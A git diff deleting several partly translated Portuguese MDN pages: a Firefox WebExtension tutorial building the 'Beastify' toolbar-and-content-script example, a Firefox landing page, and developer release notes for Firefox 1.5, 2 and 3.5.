Open "about:debugging" in Firefox, click "Load Temporary Add-on" and select any file in your extension's directory:

- -

{{EmbedYouTube("cer9EUKegG4")}}

- -

The extension will now be installed, and will stay until you restart Firefox.

- -

Alternatively, you can run the extension from the command line using the web-ext tool.

- -

Testar

- -

Now try visiting a page under "mozilla.org", and you should see the red border round the page:

- -

{{EmbedYouTube("rxBQl2Z9IBQ")}}

- -
-

Don't try it on addons.mozilla.org, though! Content scripts are currently blocked on that domain.

-
- -

Try experimenting a bit. Edit the content script to change the color of the border, or do something else to the page content. Save the content script, then reload the extensions's files by clicking the "Reload" button in about:debugging. You can see the changes right away:

- -

{{EmbedYouTube("NuajE60jfGY")}}

- - - -

Empacotar e publicação

- -

Para que as outras pessoas utilizem a sua extensão, precisa de empacotá-la e enviá-la para a assinar na Mozilla. Para saber mais sobre isto, consulte "Publicar a sua extensão".

- -

E a seguir?

- -

Agora tem uma idéia do processo de desenvolvimento de uma Extensão da Web para o Firefox, tente:

- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/your_second_webextension/index.html b/files/pt-pt/mozilla/add-ons/webextensions/your_second_webextension/index.html deleted file mode 100644 index 9d3c22efac..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/your_second_webextension/index.html +++ /dev/null @@ -1,461 +0,0 @@ ---- -title: A sua segunda extensão -slug: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension -original_slug: Mozilla/Add-ons/WebExtensions/A_sua_segunda_extensao ---- -
{{AddonSidebar}} -

Se já leu o artigo da A sua primeira extensão, já tem uma ideia de como escrever uma extensão. Neste artigo, nós iremos escrever uma extensão um pouco mais complexa que demonstra algumas mais das APIs. 
-
- A extensão adiciona um novo botão à barra de ferramentas do Firefox. Quando o utilizador clica no botão, nós exibimos uma janela que lhes permite escolher um animal. Uma vez que eles escolhem um animal, nós iremos substituir o conteúdo da página atual com uma fotografia do animal escolhido. 
-
- Para implementar isto, nós iremos:.

- -

To implement this, we will:

- -
    -
  • define a browser action, which is a button attached to the Firefox toolbar.
    - For the button we'll supply: -
      -
    • an icon, called "beasts-32.png"
    • -
    • a popup to open when the button is pressed. The popup will include HTML, CSS, and JavaScript.
    • -
    -
  • -
  • define an icon for the extension, called "beasts-48.png". This will be shown in the Add-ons Manager.
  • -
  • write a content script, "beastify.js" that will be injected into web pages.
    - This is the code that will actually modify the pages.
  • -
  • package some images of the animals, to replace images in the web page.
    - We'll make the images "web accessible resources" so the web page can refer to them.
  • -
- -

You could visualise the overall structure of the extension like this:

- -

- -

It's a simple extension, but shows many of the basic concepts of the WebExtensions API:

- -
    -
  • adding a button to the toolbar
  • -
  • defining a popup panel using HTML, CSS, and JavaScript
  • -
  • injecting content scripts into web pages
  • -
  • communicating between content scripts and the rest of the extension
  • -
  • packaging resources with your extension that can be used by web pages
  • -
- -

You can find complete source code for the extension on GitHub.

- -

To write this extension, you'll need Firefox 45 or newer.

- -

Escrever a extensão

- -

Create a new directory and navigate to it:

- -
mkdir beastify
-cd beastify
- -

manifest.json

- -

Now create a new file called "manifest.json", and give it the following contents:

- -
{
-
-  "manifest_version": 2,
-  "name": "Beastify",
-  "version": "1.0",
-
-  "description": "Adds a browser action icon to the toolbar. Click the button to choose a beast. The active tab's body content is then replaced with a picture of the chosen beast. See https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Examples#beastify",
-  "homepage_url": "https://github.com/mdn/webextensions-examples/tree/master/beastify",
-  "icons": {
-    "48": "icons/beasts-48.png"
-  },
-
-  "permissions": [
-    "activeTab"
-  ],
-
-  "browser_action": {
-    "default_icon": "icons/beasts-32.png",
-    "default_title": "Beastify",
-    "default_popup": "popup/choose_beast.html"
-  },
-
-  "web_accessible_resources": [
-    "beasts/frog.jpg",
-    "beasts/turtle.jpg",
-    "beasts/snake.jpg"
-  ]
-
-}
-
- -
    -
  • The first three keys: manifest_version, name, and version, are mandatory and contain basic metadata for the extension.
  • -
  • description and homepage_url are optional, but recommended: they provide useful information about the extension.
  • -
  • icons is optional, but recommended: it allows you to specify an icon for the extension, that will be shown in the Add-ons Manager.
  • -
  • permissions lists permissions the extension needs. We're just asking for the activeTab permission here.
  • -
  • browser_action specifies the toolbar button. We're supplying three pieces of information here: -
      -
    • default_icon is mandatory, and points to the icon for the button
    • -
    • default_title is optional, and will be shown in a tooltip
    • -
    • default_popup is used if you want a popup to be shown when the user clicks the button. We do, so we've included this key and made it point to an HTML file included with the extension.
    • -
    -
  • -
  • web_accessible_resources lists files that we want to make accessible to web pages. Since the extension replaces the content in the page with images we've packaged with the extension, we need to make these images accessible to the page.
  • -
- -

Note that all paths given are relative to manifest.json itself.

- -

O ícone

- -

The extension should have an icon. This will be shown next to the extension's listing in the Add-ons Manager (you can open this by visiting the URL "about:addons"). Our manifest.json promised that we would have an icon for the toolbar at "icons/beasts-48.png".

- -

Create the "icons" directory and save an icon there named "beasts-48.png".  You could use the one from our example, which is taken from the Aha-Soft’s Free Retina iconset, and used under the terms of its license.

- -

If you choose to supply your own icon, It should be 48x48 pixels. You could also supply a 96x96 pixel icon, for high-resolution displays, and if you do this it will be specified as the 96 property of the icons object in manifest.json:

- -
"icons": {
-  "48": "icons/beasts-48.png",
-  "96": "icons/beasts-96.png"
-}
- -

O botão de barra de ferramentas

- -

The toolbar button also needs an icon, and our manifest.json promised that we would have an icon for the toolbar at "icons/beasts-32.png".

- -

Save an icon named "beasts-32.png" in the "icons" directory. You could use the one from our example, which is taken from the IconBeast Lite icon set and used under the terms of its license.

- -

If you don't supply a popup, then a click event is dispatched to your extension when the user clicks the button. If you do supply a popup, the click event is not dispatched, but instead, the popup is opened. We want a popup, so let's create that next.

- -

A janela (popup)

- -

The function of the popup is to enable the user to choose one of three beasts.

- -

Create a new directory called "popup" under the extension root. This is where we'll keep the code for the popup. The popup will consist of three files:

- -
    -
  • choose_beast.html defines the content of the panel
  • -
  • choose_beast.css styles the content
  • -
  • choose_beast.js handles the user's choice by running a content script in the active tab
  • -
- -
mkdir popup
-cd popup
-touch choose_beast.html choose_beast.css choose_beast.js
-
- -

choose_beast.html

- -

The HTML file looks like this:

- -
<!DOCTYPE html>
-
-<html>
-  <head>
-    <meta charset="utf-8">
-    <link rel="stylesheet" href="choose_beast.css"/>
-  </head>
-
-<body>
-  <div id="popup-content">
-    <div class="button beast">Frog</div>
-    <div class="button beast">Turtle</div>
-    <div class="button beast">Snake</div>
-    <div class="button reset">Reset</div>
-  </div>
-  <div id="error-content" class="hidden">
-    <p>Can't beastify this web page.</p><p>Try a different page.</p>
-  </div>
-  <script src="choose_beast.js"></script>
-</body>
-
-</html>
-
- -

We have a <div> element with an ID of "popup-content" that contains an element for each animal choice. We have another <div> with an ID of "error-content" and a class "hidden". We'll use that in case there's a problem initializing the popup.

- -

Note that we include the CSS and JS files from this file, just like a web page.

- -

choose_beast.css

- -

The CSS fixes the size of the popup, ensures that the three choices fill the space, and gives them some basic styling. It also hides elements with class="hidden": this means that our "error-content" <div> will be hidden by default.

- -
html, body {
-  width: 100px;
-}
-
-.hidden {
-  display: none;
-}
-
-.button {
-  margin: 3% auto;
-  padding: 4px;
-  text-align: center;
-  font-size: 1.5em;
-  cursor: pointer;
-}
-
-.beast:hover {
-  background-color: #CFF2F2;
-}
-
-.beast {
-  background-color: #E5F2F2;
-}
-
-.reset {
-  background-color: #FBFBC9;
-}
-
-.reset:hover {
-  background-color: #EAEA9D;
-}
-
-
- -

choose_beast.js

- -

Here's the JavaScript for the popup:

- -
/**
- * CSS to hide everything on the page,
- * except for elements that have the "beastify-image" class.
- */
-const hidePage = `body > :not(.beastify-image) {
-                    display: none;
-                  }`;
-
-/**
- * Listen for clicks on the buttons, and send the appropriate message to
- * the content script in the page.
- */
-function listenForClicks() {
-  document.addEventListener("click", (e) => {
-
-    /**
-     * Given the name of a beast, get the URL to the corresponding image.
-     */
-    function beastNameToURL(beastName) {
-      switch (beastName) {
-        case "Frog":
-          return browser.extension.getURL("beasts/frog.jpg");
-        case "Snake":
-          return browser.extension.getURL("beasts/snake.jpg");
-        case "Turtle":
-          return browser.extension.getURL("beasts/turtle.jpg");
-      }
-    }
-
-    /**
-     * Insert the page-hiding CSS into the active tab,
-     * then get the beast URL and
-     * send a "beastify" message to the content script in the active tab.
-     */
-    function beastify(tabs) {
-      browser.tabs.insertCSS({code: hidePage}).then(() => {
-        let url = beastNameToURL(e.target.textContent);
-        browser.tabs.sendMessage(tabs[0].id, {
-          command: "beastify",
-          beastURL: url
-        });
-      });
-    }
-
-    /**
-     * Remove the page-hiding CSS from the active tab,
-     * send a "reset" message to the content script in the active tab.
-     */
-    function reset(tabs) {
-      browser.tabs.removeCSS({code: hidePage}).then(() => {
-        browser.tabs.sendMessage(tabs[0].id, {
-          command: "reset",
-        });
-      });
-    }
-
-    /**
-     * Just log the error to the console.
-     */
-    function reportError(error) {
-      console.error(`Could not beastify: ${error}`);
-    }
-
-    /**
-     * Get the active tab,
-     * then call "beastify()" or "reset()" as appropriate.
-     */
-    if (e.target.classList.contains("beast")) {
-      browser.tabs.query({active: true, currentWindow: true})
-        .then(beastify)
-        .catch(reportError);
-    }
-    else if (e.target.classList.contains("reset")) {
-      browser.tabs.query({active: true, currentWindow: true})
-        .then(reset)
-        .catch(reportError);
-    }
-  });
-}
-
-/**
- * There was an error executing the script.
- * Display the popup's error message, and hide the normal UI.
- */
-function reportExecuteScriptError(error) {
-  document.querySelector("#popup-content").classList.add("hidden");
-  document.querySelector("#error-content").classList.remove("hidden");
-  console.error(`Failed to execute beastify content script: ${error.message}`);
-}
-
-/**
- * When the popup loads, inject a content script into the active tab,
- * and add a click handler.
- * If we couldn't inject the script, handle the error.
- */
-browser.tabs.executeScript({file: "/content_scripts/beastify.js"})
-.then(listenForClicks)
-.catch(reportExecuteScriptError);
-
-
- -

The place to start here is line 96. The popup script executes a content script in the active tab as soon as the popup is loaded, using the browser.tabs.executeScript() API. If executing the content script is successful, then the content script will stay loaded in the page until the tab is closed or the user navigates to a different page.

- -

A common reason the browser.tabs.executeScript() call might fail is that you can't execute content scripts in all pages. For example, you can't execute them in privileged browser pages like about:debugging, and you can't execute them on pages in the addons.mozilla.org domain. If it does fail, reportExecuteScriptError() will hide the "popup-content" <div>, show the "error-content" <div>, and log an error to the console.

- -

If executing the content script is successful, we call listenForClicks(). This listens for clicks on the popup.

- -
    -
  • If the click was on a button with class="beast", then we call beastify().
  • -
  • If the click was on a button with class="reset", then we call reset().
  • -
- -

The beastify() function does three things:

- -
    -
  • map the button clicked to a URL pointing to an image of a particular beast
  • -
  • hide the page's whole content by injecting some CSS, using the browser.tabs.insertCSS() API
  • -
  • send a "beastify" message to the content script using the browser.tabs.sendMessage() API, asking it to beastify the page, and passing it the URL to the beast image.
  • -
- -

The reset() function essentially undoes a beastify:

- -
    -
  • remove the CSS we added, using the browser.tabs.removeCSS() API
  • -
  • send a "reset" message to the content script asking it to reset the page.
  • -
- -

O script de conteúdo

- -

Create a new directory, under the extension root, called "content_scripts" and create a new file in it called "beastify.js", with the following contents:

- -
(function() {
-  /**
-   * Check and set a global guard variable.
-   * If this content script is injected into the same page again,
-   * it will do nothing next time.
-   */
-  if (window.hasRun) {
-    return;
-  }
-  window.hasRun = true;
-
-  /**
-   * Given a URL to a beast image, remove all existing beasts, then
-   * create and style an IMG node pointing to
-   * that image, then insert the node into the document.
-   */
-  function insertBeast(beastURL) {
-    removeExistingBeasts();
-    let beastImage = document.createElement("img");
-    beastImage.setAttribute("src", beastURL);
-    beastImage.style.height = "100vh";
-    beastImage.className = "beastify-image";
-    document.body.appendChild(beastImage);
-  }
-
-  /**
-   * Remove every beast from the page.
-   */
-  function removeExistingBeasts() {
-    let existingBeasts = document.querySelectorAll(".beastify-image");
-    for (let beast of existingBeasts) {
-      beast.remove();
-    }
-  }
-
-  /**
-   * Listen for messages from the background script.
-   * Call "beastify()" or "reset()".
-  */
-  browser.runtime.onMessage.addListener((message) => {
-    if (message.command === "beastify") {
-      insertBeast(message.beastURL);
-    } else if (message.command === "reset") {
-      removeExistingBeasts();
-    }
-  });
-
-})();
-
- -

The first thing the content script does is to check for a global variable window.hasRun: if it's set the script returns early, otherwise it sets window.hasRun and continues. The reason we do this is that every time the user opens the popup, the popup executes a content script in the active tab, so we could have multiple instances of the script running in a single tab. If this happens, we need to make sure that only the first instance is actually going to do anything.

- -

After that, the place to start is line 40, where the content script listens for messages from the popup, using the browser.runtime.onMessage API. We saw above that the popup script can send two different sorts of messages: "beastify" and "reset".

- -
    -
  • if the message is "beastify", we expect it to contain a URL pointing to a beast image. We remove any beasts that might have been added by previous "beastify" calls, then construct and append an <img> element whose src attribute is set to the beast URL.
  • -
  • if the message is "reset", we just remove any beasts that might have been added.
  • -
- -

As feras

- -

Finally, we need to include the images of the beasts.

- -

Create a new directory called "beasts", and add the three images in that directory, with the appropriate names. You can get the images from the GitHub repository, or from here:

- -

- -

Testar a extensão

- -

First, double check that you have the right files in the right places:

- -
beastify/
-
-    beasts/
-        frog.jpg
-        snake.jpg
-        turtle.jpg
-
-    content_scripts/
-        beastify.js
-
-    icons/
-        beasts-32.png
-        beasts-48.png
-
-    popup/
-        choose_beast.css
-        choose_beast.html
-        choose_beast.js
-
-    manifest.json
- -

Starting in Firefox 45, you can install extensions temporarily from disk.

- -

Open "about:debugging" in Firefox, click "Load Temporary Add-on", and select your manifest.json file. You should then see the extension's icon appear in the Firefox toolbar:

- -

{{EmbedYouTube("sAM78GU4P34")}}

- -

Open a web page, then click the icon, select a beast, and see the web page change:

- -

{{EmbedYouTube("YMQXyAQSiE8")}}

- -

Programae a partir da linha de comando

- -

Pode automatizar o passo da instalação temporária utilizando a ferramenta web-ext. Experimente isto:

- -
cd beastify
-web-ext run
-
diff --git a/files/pt-pt/mozilla/firefox/index.html b/files/pt-pt/mozilla/firefox/index.html deleted file mode 100644 index 2e57b0d4f0..0000000000 --- a/files/pt-pt/mozilla/firefox/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Firefox -slug: Mozilla/Firefox -tags: - - Firefox - - Landing - - Mozilla -translation_of: Mozilla/Firefox ---- -
{{FirefoxSidebar}}
- -

Firefox é o navegador popular da Web da Mozilla, disponível para múltiplas plataformas, incluindo Linux, OS X e Windows para PC e em todos os dispositivos móveis Android e iOS. Com ampla compatibilidade, as tecnologias da Web mais recentes, e ferramentas de programação poderosas, o Firefox é uma excelente escolha, tanto para os programadores da Web como para os utilizadores finais.

- -

O Firefox é um projeto de código aberto; a maior parte do código é fornecido pela nossa comunidade enorme de voluntários. Aqui pode aprender sobre como contribuir para o projeto Firefox e irá encontrar também hiperligações para informação sobre a criação de Extras do Firefox, utilizando as ferramentas de programador no Firefox, e outros tópicos.

- -
-

Aprenda a criar Extras para o Firefox, como desenvolver e criar o próprio Firefox, e como os internos do Firefox e os respetivos subprojetos funcionam.

-
- -
    -
  • Notas de lançamento do programador - -

    Notas de lançamento focadas no Programador; saiba quais as novas funcionalidades que chegam para ambos os websites e para os extras em cada versão do Firefox.

    -
  • -
  • Documentação do projeto -

    Obtenha informação detalhada sobre os internos do Firefox e o sistema operativo, para que você se possa orientar no código.

    -
  • -
  • Guia do pogramador -

    O nosso guia do programador fornece detalhes sobre como obter e compilar o código fonte do Firefox, como você se orientar, e como contribuir para o projeto.

    -
  • -
- -

Canais do Firefox

- -

O Firefox está disponível em cinco canais.

- -

Firefox Nightly

- -

Todas as noites nós contruimos o Firefox a partir do último código disponível em mozilla-central. Estas configurações destinam-se aos programadores do Firefox ou para aqueles que desejam experimentar as últimas funcionalidades inovadoras enquanto estas estão ainda em fase de desenvolvimento.

- -

Transferir Firefox Nightly

- -

Edição do Programador do Firefox

- -

Esta é uma versão do Firefox personalizada para programadores. A cada seis semanas, nós selecionamos as funcionalidades do Firefox Nightly que estão estáveis o suficiente e criamos uma nova versão da Edição do Programador do Firefox. Nós adicionamos também algumas funcionalidades extra para programadores, que estão apenas disponíveis neste canal.

- -

Saiba mais acerca da Edição do Programador do Firefox.

- -

Transferir Firefox Developer Edition

- -

Firefox Beta

- -

Após utilizar a Edição do Programador do Firefox por seis semanas, nós selecionamos as funcionalidades que estão estáveis o suficiente e criamos uma nova versão do Firefox Beta. As configurações do Firefox Beta destinam-se a entusiastas do Firefox para testar as funcionalidades destinadas a serem lançadas na próxima versão do Firefox.

- -

Transferir Firefox Beta

- -

Firefox

- -

Após estabilizar para outras seis semanas com a versão Beta, nós estamos prontos para lançar as novas funcionalidades para milhões de utilizadores numa nova versão de lançamento do Firefox.

- -

Transferir Firefox

- -

Firefox Extended Support Release (ESR)

- -

Firefox ESR is the long-term support edition of Firefox for desktop for use by organizations including schools, universities, businesses and others who need extended support for mass deployments.

- -

Learn more about Firefox Extended Support Release.

- -

Transferir Firefox ESR

- -

Perfis do Firefox

- -

If you find yourself using multiple Firefox channels—or just multiple configurations—on a regular basis, you should read how to use multiple Firefox profiles by turning Firefox's Profile Manager and other profile management tools to your advantage.

diff --git a/files/pt-pt/mozilla/firefox/releases/1.5/index.html b/files/pt-pt/mozilla/firefox/releases/1.5/index.html deleted file mode 100644 index 29dab49ca6..0000000000 --- a/files/pt-pt/mozilla/firefox/releases/1.5/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Firefox 1.5 para Desenvolvedores -slug: Mozilla/Firefox/Releases/1.5 -translation_of: Mozilla/Firefox/Releases/1.5 -original_slug: Firefox_1.5_para_Desenvolvedores ---- -
{{FirefoxSidebar}}

 

- -

Firefox 1.5

- -

Como o primeiro lançamento no ciclo de desenvolvimento de produto Firefox 1.5 dedicada a desenvolvedores web e autores de Extensões para teste de compatibilidade, Firefox 1.5, baseado no motor Gecko 1.8, melhora o já melhor na classe suporte de normas e providencia novas capacidades para suportar a próxima geração de aplicações web. Firefox 1.5 tem como características, melhor suporte para CSS 2 e CSS 3, APIs para gráficos 2D com scripts e programáveis com SVG 1.1 e <canvas>, XForms e eventos XML, e satisfatórios realces em DHTML, JavaScript e DOM.

- -

Firefox 1.5 está disponível para o download em: http://www.mozilla.com/firefox/

- -

Ferramentas para Desenvolvedores

- -

Diversas ferramentas e extensões do browser estão disponíveis para ajudar no suporte do Firefox 1.5 aos desenvolvedores.

- -
    -
  • DOM Inspector, esta ferramenta permite que os colaboradores inspecionem e modifiquem documentos sem ter que editar o documento diretamente. O DOM Inspector está disponível como parte da instação personalizada do Firefox 1.5 nas Ferramentas para Desenvolvedores.
  • -
  • Console do Javascript, uma ferramenta para escrever e testar o código Javascript, exibe os erros do Javascript e CSS em uma página.
  • -
  • Exibir Código-fonte, com características de procura e destaque na sintaxe.
  • -
  • Extensões do browser incluíndo a Web Developer toolbar, Live HTTP Headers, HTML Validator e muito mais.
  • -
- -

Nota: Algumas extensões não suportam atualmente o Firefox 1.5 e serão desabilitadas automaticamente.

diff --git a/files/pt-pt/mozilla/firefox/releases/2/index.html b/files/pt-pt/mozilla/firefox/releases/2/index.html deleted file mode 100644 index 3ba2adba19..0000000000 --- a/files/pt-pt/mozilla/firefox/releases/2/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Firefox 2 para desenvolvedores -slug: Mozilla/Firefox/Releases/2 -translation_of: Mozilla/Firefox/Releases/2 -original_slug: Firefox_2_para_desenvolvedores ---- -
{{FirefoxSidebar}}

Novas características para desenvolvedores no Firefox 2

- -

Firefox 2 introduz uma vasta gama de características e potencialidades novas.

- -

Se não houver um link para algum título abaixo, é um título provisório do MDC até que o artigo esteja escrito.

- -

Para desenvolvedores de aplicações e web sites

- -
-
Microsummaries
-
Microsummaries são uma nova maneira de web sites fornecerem material de referência rápida para usuários. Páginas onde existe um gerador de microsummary podem ser adicionadas à barra de favoritos com conteúdo que atualiza periodicamente baseado na especificação microsummary.
-
- -
-
Creating a Microsummary
-
Um tutorial sobre como criar um gerador microsummary.
-
- -
-
Creating MozSearch plugins
-
Firefox 2 suporta MozSearch, um formato plugin de pesquisa baseado no OpenSearch.
-
- -
-
OpenSearch support in Firefox
-
Firefox 2 suporta também o formato Amazon A9's OpenSearch para plugins de pesquisa.
-
- -
-
Supporting search suggestions in search plugins
-
Como fazer seu plugin MozSearch suportar sugestões de pesquisa, que aparecem em uma caixa popup ao digitar na barra da busca.
-
- -
-
New in JavaScript 1.7
-
Firefox 2 suporta JavaScript 1.7, que possui novas características incluindo let, destructuring assignment, geradores e iteradores, e array comprehensions.
-
- -
-
WHATWG Client-side session and persistent storage
-
Sessão client-side e armazenamento permanente permitem que aplicações web armazenem dados estruturados no lado do cliente.
-
- -
-
SVG in Firefox
-
Firefox 2 tem suporte à SVG (Scalable Vector Graphics) melhorado, implementando o elemento <textPath> e adicionando suporte a alguns atributos não suportados previamente.
-
- -

Para desenvolvedores de extensões e XUL

- -
-
Session restore API
-
Contribuindo com itens a serem salvos e restaurados através das sessões do Firefox.
-
- -
-
Feed content access API
-
Esta API ainda está sendo revisada; documentação estará disponível em breve.
-
- -
-
SAX support
-
Parser API baseada em eventos de XML.
-
- -
-
Adding search engines from web pages
-
Código Javascript pode instruir Firefox a instalar novos plugins de pesquisa escritos com o formato OpenSearch ou Sherlock.
-
- -
-
Adding phishing protection data providers
-
É possível realçar a proteção phishing? do Firefox adicionando fornecedores adicionais de dados ao sistema de navegação seguraainda não encontrei um bom termo - Leandro o que voce acha - Kay - bom Kay, obrigado. :) Caso queira nos ajudar com outras traduções, entre em contato através da página MDC:Comunidade.
-
- -
-
Storage
-
Firefox 2 introduz o mozStorage, uma arquitetura de base de dados baseada no sqlite.
-
- -
-
Best practices for extension versioning
-
Como usar números de versão para tratar de todas as versões de pré-lançamento do firefox 2.
-
- -

Novas características para usuários finais

- -

Para conhecer as novidades para usuários finais das versões 2.0, visite o br.mozdev.

diff --git a/files/pt-pt/mozilla/firefox/releases/3.5/index.html b/files/pt-pt/mozilla/firefox/releases/3.5/index.html deleted file mode 100644 index d175b9cc1c..0000000000 --- a/files/pt-pt/mozilla/firefox/releases/3.5/index.html +++ /dev/null @@ -1,261 +0,0 @@ ---- -title: Firefox 3.5 para desenvolvedores -slug: Mozilla/Firefox/Releases/3.5 -translation_of: Mozilla/Firefox/Releases/3.5 -original_slug: Firefox_3.5_para_desenvolvedores ---- -
{{FirefoxSidebar}}

O Firefox 3.5 introduz várias funcionalidades novas, bem como suporte adicional e melhorado para uma larga variedade de padrões web. Este artigo oferece uma extensa lista, com links para artigos cobrindo as melhorias mais importantes.

-

Novas funcionalidades para desenvolvedores no Firefox 3.5

-

Para desenvolvedores de web sites e aplicações

-

Suporte a HTML 5

-
-
- Usando áudio e vídeo no Firefox
-
- O Firefox 3.5 adicionou suporte para os elementos de áudio e vídeo do HTML 5.
-
- Recursos offline no Firefox (EN)
-
- O Firefox 3.5 agora suporta totalmente as especificações de recursos offline do HTML 5.
-
- Arrastar e largar (drag and drop) (EN)
-
- As APIs de arrastar e soltar do HTML 5 permitem o suporte para  arrastar e soltar itens dentro e entre web sites. Isto também proporciona uma API simples para uso em extensões e aplicações baseadas no Mozilla.
-
-

Novas funcionalidades do CSS suportadas

-
-
- Suporte a fontes baixáveis
-
- A nova @font-face @rule permite que páginas web proporcionem fontes baixáveis, dessa forma estes sites podem ser renderizados exatamente como o autor da página espera.
-
- Consulta de mídia CSS
-
- O Firefox 3.5 suporta consulta de mídia CSS, que melhora o suporte às folhas de estilo dependentes de mídias.
-
- :before e :after atualizados para o CSS 2.1
-
- Os pseudo-elementos :before e :after foram atualizados para o suporte total do CSS 2.1, adicionando suporte para position, float, list-style-*, e algumas propriedades display.
-
- opacity (en)
-
- A estensão Mozilla -moz-opacity para o CSS foi removida em favor da propriedade padrão opacity.
-
- text-shadow (en)
-
- A propriedade text-shadow, que permite ao conteúdo web especificar efeitos de sombra para aplicar em textos e decorações de texto, agora é suportada.
-
- word-wrap (en)
-
- Esta nova propriedade suportada permite ao conteúdo especificar quando as linhas podem ou não serem quebradas no meio de palavras para prevenir o extravasamento quando uma outra string não-quebrável é muito longa para ocupar uma única linha.
-
- -moz-box-shadow (en)
-
- -moz-border-image (en)
-
- -moz-column-rule (en)
-
- -moz-column-rule-width (en)
-
- -moz-column-rule-style (en)
-
- -moz-column-rule-color (en)
-
- -moz-column-gap (en)
-
- O Firefox 3.5 adicionou suporte para estas extensões Mozilla ao CSS.
-
- O valor de cor -moz-nativehyperlinktext (en)
-
- Este novo valor de cores representa a cor de hiperlink padrão do sistema do usuário.
-
- As novas propriedades -moz-window-shadow (en) e -moz-system-metric(mac-graphite-theme) (en)
-
- Estas novas propriedades CSS foram adicionadas para facilitar as edições de temas.
-
- Novos valores para -moz-appearance (en)
-
- Os valores -moz-win-glass e -moz-mac-unified-toolbar foram adicionados em -moz-appearance.
-
- Usando transformações CSS
-
- O Firefox 3.5 suporta transformações CSS. Veja -moz-transform (en) e -moz-transform-origin (en) para detalhes.
-
- :nth-child (en)
-
- :nth-last-child (en)
-
- :nth-of-type (en)
-
- :nth-last-of-type (en)
-
- :first-of-type (en)
-
- :last-of-type (en)
-
- :only-of-type (en)
-
- Todos estes seletores são agora suportados pelo Firefox 3.5.
-
-

Novas funcionalidades da DOM

-
-
- localStorage
-
- O Firefox 3.5 adiciona suporte para a propriedade localStorage do HTML 5, que proporciona uma maneira para as aplicações web armazenarem dados localmente no computador do cliente.
-
- Using DOM workers (EN)
-
- O Firefox 3.5 suporta que trabalhadores (workers) DOM permitam facilmente o suporte para multi-threading em aplicações web.
-
- Using geolocation (EN)
-
- O Firefox 3.5 suporta a API de Geolocalização (Geolocation API), que permite a aplicações web obterem informações sobre a localização atual dos usuários se um provedor desta informação estiver instalado e habilitado.
-
- Using JSON in Firefox (EN)
-
- O supore para JSON está agora integrado ao DOM.
-
- Locating DOM elements using selectors (EN)
-
- A API de seletores (selectors API) permite consultar um documento para localizar os elementos que combinam com uma regra de seleção dada.
-
- The NodeIterator object (EN)
-
- O objeto NodeIterator proporciona suporte para iteração sobre a lista de nós em uma subárvore DOM.
-
- The MozAfterPaint event (EN)
-
- Este novo evento DOM é enviado após realizar atualizações de pintura em janelas.
-
- The MozMousePixelScroll event (EN)
-
- Este novo evento DOM permite a detecção de eventos de rolagem do mouse baseada em pixels ao invés de eventos de rolagem baseados em linhas.
-
-

Novas funcionalidades JavaScript

-
-
- Object.getPrototypeOf() (EN)
-
- Este novo método retorna o protótipo de um objeto específico.
-
- Novos métodos trim no objeto String
-
- O objeto String (en) tem agora os métodos trim() (en), trimLeft() (en) e trimRight() (en).
-
-

Rede

-
-
- Cross-site access controls for HTTP (EN)
-
- No Firefox 3.5, agora é possível para requisições HTTP, incluindo as feitas por XMLHttpRequest (en), trabalhar através de domínios, se o servidor suportar isso.
-
- Progress events for XMLHttpRequest (EN)
-
- Eventos de progresso agora são oferecidos para permitir que extensões monitorem o progresso de requisições.
-
- Suporte a XMLHttpRequest síncrona melhorado
-
- DOM Timeout e Input Events agora são omitidos durante uma XMLHttpRequest síncrona.
-
- Controlling DNS prefetching (EN)
-
- O Firefox 3.5 proporciona pré-carregamento DNS (DNS prefetching), através do qual realiza a resolução do nome do domínio antes do tempo para links incluídos na página atual, com o objetivo de poupar tempo quando os links forem realmente clicados. Este artigo descreve como você pode modificar seu web site para desabilitar o pré-carregamento, ou para ajustar como o pré-carregamento opera.
-
-

Novas funcionalidades Canvas

-
-
- HTML 5 text API for canvas elements (EN)
-
- Os elementos Canvas agora suportam a API de texto do HTML 5.
-
- Shadow effects in a canvas (EN)
-
- Os efeitos de sombra do Canvas agora são suportados.
-
- atributo moz-opaque
-
- Adicionado o atributo DOM, moz-opaque, que permite ao canvas saber quando a translucidez será um fator ou não. Se o canvas sabe que não há translucidez, a performance de pintura pode ser otimizada.
-
-

Novas funcionalidades SVG

-
-
- Applying SVG effects to HTML content (EN)
-
- Você pode aplicar efeitos SVG ao conteúdo HTML e XHTML; este artigo descreve como.
-
-

Novas funcionalidades - Miscelânea

-
-
- ICC color correction in Firefox (EN)
-
- O Firefox 3.5 agora suporta a correção de cores ICC para imagens marcadas.
-
- O atributo defer é agora suportado no elemento script (EN)
-
- Este atributo indica ao navegador que ele pode optar por continuar a analisar e renderizar a página sem aguardar o término da execução do script.
-
-

Outras melhorias

-
    -
  • A unidade ch pode agora ser usada em qualquer lugar que aceite uma unidade de comprimento (en); "1ch" é a largura do caractere "0" (zero).
  • -
  • A propriedade white-space (en) agora aceita o valor pre-line.
  • -
  • A propridedade wholeText (en) e o método replaceWholeText() (en) dos nós de texto foram implementados.
  • -
  • A propriedade element.children (en) foi adicionada. Ela retorna uma coleção de elementos filhos do elemento dado.
  • -
  • A API Traversal Element é agora suportada pelo objeto DOM Element (en).
  • -
  • Nós HTML podem ser clonados usando cloneNode() (en).
  • -
  • Os elementos DOM enviados agora podem ser reenviados. Isto faz o Firefox 3.5 passar o teste 30 do Acid 3.
  • -
  • Melhorias forma feitas na manipulação do DOM 2 Range.
  • -
  • No escopo não-chrome, objetos pegos como exceções são agora os reais objetos lançados ao invés de um wrapper XPConnect (en) contendo o objeto lançado.
  • -
  • A referência ID do SVG está agora viva.
  • -
  • Os filtros SVG agora funcionam para foreignObject.
  • -
  • O método GetSVGDocument() foi adicionado ao elementos object (en) e iframe (en) para compatibilidade.
  • -
-

Para desenvolvedores XUL e de complementos

-

Se você é um desenvolvedor de extensões, você deve começar lendo Atualizando extensões para o Firefox 3.5, que oferece um panorama útil de mudanças que podem afetar a sua extensão.

-

Novos componentes e funcionalidades

-
-
- Supporting private browsing mode (EN)
-
- O Firefox 3.5 oferece o modo de Navegação Privada, que não grava as atividades do usuário. Extensões podem suportar a navegação privada seguindo as orientações oferecidas por este artigo.
-
